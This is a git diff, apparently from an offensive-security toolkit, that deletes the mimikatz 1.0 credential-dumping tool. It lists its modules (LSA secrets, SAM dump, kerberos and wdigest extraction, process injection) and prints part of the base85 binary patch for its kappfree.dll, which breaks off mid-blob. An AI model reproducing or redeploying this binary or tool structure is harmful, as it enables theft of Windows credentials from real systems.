Exfiltration/mimikatz-1.0/librairies/klock/klock.rc delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj delete mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj delete mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters delete mode 100644 Exfiltration/mimikatz-1.0/lisezmoi.txt delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz.sln delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/global.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/global.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/main.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp delete mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_crypto.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptong.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hash.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hash.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hive.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hive.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_inject.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_inject.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_memory.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_memory.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_minidump.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ntddk.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_parseur.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_patch.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_patch.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_pipe.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_privilege.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_process.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_process.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_secacl.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_service.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_service.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_system.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_system.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_text.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_text.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_thread.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_thread.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ts.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ts.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_windows.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_windows.h delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp delete mode 100644 Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h delete mode 100644 Exfiltration/mimikatz-1.0/tools/PsExec.exe delete mode 100644 Exfiltration/mimikatz-1.0/tools/tee.exe delete mode 100644 Exfiltration/mimikatz-1.0/tools/winmine.exe diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll deleted file mode 100644 index 83b3a439bcf0c91a009fc12f00bf576a30644ec4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 34816 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 